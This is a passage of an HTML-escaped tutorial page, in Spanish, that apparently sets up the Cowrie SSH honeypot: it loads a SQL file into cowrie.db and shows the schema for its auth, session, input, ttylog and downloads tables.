&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sqlite3 cowrie.db &amp;lt; sqlite3.sql
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>El fichero sqlite3.sql será:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;span class="lnt">32
&lt;/span>&lt;span class="lnt">33
&lt;/span>&lt;span class="lnt">34
&lt;/span>&lt;span class="lnt">35
&lt;/span>&lt;span class="lnt">36
&lt;/span>&lt;span class="lnt">37
&lt;/span>&lt;span class="lnt">38
&lt;/span>&lt;span class="lnt">39
&lt;/span>&lt;span class="lnt">40
&lt;/span>&lt;span class="lnt">41
&lt;/span>&lt;span class="lnt">42
&lt;/span>&lt;span class="lnt">43
&lt;/span>&lt;span class="lnt">44
&lt;/span>&lt;span class="lnt">45
&lt;/span>&lt;span class="lnt">46
&lt;/span>&lt;span class="lnt">47
&lt;/span>&lt;span class="lnt">48
&lt;/span>&lt;span class="lnt">49
&lt;/span>&lt;span class="lnt">50
&lt;/span>&lt;span class="lnt">51
&lt;/span>&lt;span class="lnt">52
&lt;/span>&lt;span class="lnt">53
&lt;/span>&lt;span class="lnt">54
&lt;/span>&lt;span class="lnt">55
&lt;/span>&lt;span class="lnt">56
&lt;/span>&lt;span class="lnt">57
&lt;/span>&lt;span class="lnt">58
&lt;/span>&lt;span class="lnt">59
&lt;/span>&lt;span class="lnt">60
&lt;/span>&lt;span class="lnt">61
&lt;/span>&lt;span class="lnt">62
&lt;/span>&lt;span class="lnt">63
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">CREATE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">TABLE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">IF&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">EXISTS&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">auth&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">id&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">INTEGER&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">PRIMARY&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">KEY&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="k">session&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">char&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">success&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">tinyint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">varchar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">100&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">password&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">varchar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">100&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="k">timestamp&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">datetime&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">CREATE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">TABLE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">IF&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">EXISTS&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">clients&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">id&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">INTEGER&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">PRIMARY&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">KEY&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="k">version&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">varchar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">50&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">CREATE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">TABLE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">IF&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">EXISTS&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="k">input&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">id&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">INTEGER&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">PRIMARY&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">KEY&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="k">session&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">char&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="k">timestamp&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">datetime&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">realm&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">varchar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">50&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">default&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">success&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">tinyint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">default&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="k">input&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">text&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">CREATE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">INDEX&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">input_index&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">ON&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">session&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">timestamp&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">realm&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">CREATE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">TABLE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">IF&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">EXISTS&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">sensors&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">id&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">INTEGER&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">PRIMARY&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">KEY&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">ip&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">varchar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">15&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">CREATE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">TABLE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">IF&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">EXISTS&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">sessions&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">id&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">char&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">PRIMARY&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">KEY&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">starttime&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">datetime&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">endtime&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">datetime&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">default&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">sensor&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">ip&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">varchar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">15&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">default&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">termsize&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">varchar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">default&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">client&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">default&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">CREATE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">INDEX&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">sessions_index&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">ON&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">sessions&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">starttime&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">sensor&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">CREATE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">TABLE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">IF&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">EXISTS&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">ttylog&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">id&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">INTEGER&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">PRIMARY&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">KEY&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="k">session&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">char&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">ttylog&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">varchar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">100&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="k">size&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">11&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">CREATE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">TABLE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">IF&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">EXISTS&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">downloads&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">id&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">INTEGER&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">PRIMARY&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">KEY&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="k">session&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">CHAR&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="k">timestamp&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">datetime&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">url&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">text&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">outfile&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">text&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">shasum&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">varchar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">64&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">default&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
